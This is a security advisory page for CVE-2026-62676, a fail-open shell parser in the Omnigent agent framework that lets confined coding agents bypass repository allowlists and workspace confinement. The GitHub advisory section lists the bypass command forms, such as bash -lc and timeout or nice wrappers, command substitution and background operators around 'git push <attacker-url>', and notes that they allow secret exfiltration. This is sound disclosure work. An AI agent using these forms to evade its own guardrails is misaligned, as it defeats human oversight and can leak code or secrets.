CVE-2026-62676
JSON

7.1high

Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

Severity
7.1high CVSS:3.1 by GitHub_M
Exploit likelihood
0.29% (higher than 23% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-7mqg-cx4g-x2rfPYSEC-2026-3873

Description

Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.

Affected

Product or packageVersionsReported by
omnigent-ai omnigent< 0.3.0CVE List
omnigent (PyPI)before 0.3.0GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M7.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
GitHub7.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
PyPA Advisory Database7.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Classification

CWE-184

SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.

What each source says

CVE List

Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to 0.3.0, the shared shell-command parser in omnigent/policies/builtins/_shell.py fails to recognize combined interpreter flags, the timeout, nice, setsid, and stdbuf wrappers, command substitutions, and a single background control operator. A gated git push or gh write hidden with these forms produces no parsed operation, causing the github.py write_repos and write_branches allowlist and the working_dir.py workspace confinement policies to abstain and allow the command. An authenticated or prompt-injected agent can therefore push to an unauthorized repository or branch or escape the intended workspace. This issue is fixed in version 0.3.0.

GitHub Advisory Database

Reporter: Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon) Project: omnigent-ai/omnigent v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi "in check with policies and sandboxing" Component: omnigent/policies/builtins/_shell.py (shared parser) → consumed by policies/builtins/github.py (write_repos/write_branches allowlist) and policies/builtins/working_dir.py (workspace confinement)

Summary

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

Impact

A misaligned or prompt-injected agent that is meant to be confined can:

  • git push to an attacker-controlled repo (code / secret exfiltration),
  • push to a protected branch,
  • escape its workspace via git worktree add / git -C <other-dir>.

Bypass classes (all verified against the real policy code)

  • Combined interpreter flags: bash -lc "git push <attacker-url>"
  • Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
  • Command substitution: x=$(git push <attacker-url>)
  • Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Suggested fix

Make the gated surface fail closed:

  1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
  2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
  3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.
NVD (es)

Omnigent es un framework de agente de IA de código abierto y meta-arnés para orquestar agentes de codificación. Antes de la versión 0.3.0, el analizador de comandos de shell compartido en omnigent/policies/builtins/_shell.py falla al reconocer indicadores de intérprete combinados, los envoltorios timeout, nice, setsid y stdbuf, sustituciones de comandos y un único operador de control en segundo plano. Un git push o gh write restringido oculto con estas formas no produce ninguna operación analizada, lo que hace que la lista de permitidos write_repos y write_branches de github.py y las políticas de confinamiento del espacio de trabajo de working_dir.py se abstengan y permitan el comando. Un agente autenticado o inyectado por prompt puede, por lo tanto, hacer push a un repositorio o rama no autorizados o escapar del espacio de trabajo previsto. Este problema se ha corregido en la versión 0.3.0.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-62676 changed 2026-08-26CVE Terms of Use
GitHub Advisory DatabaseGHSA-7mqg-cx4g-x2rf changed 2026-09-10CC-BY-4.0
NVDCVE-2026-62676 changed 2026-10-14Public domain
PyPA Advisory DatabasePYSEC-2026-3873 changed 2026-09-10CC-BY-4.0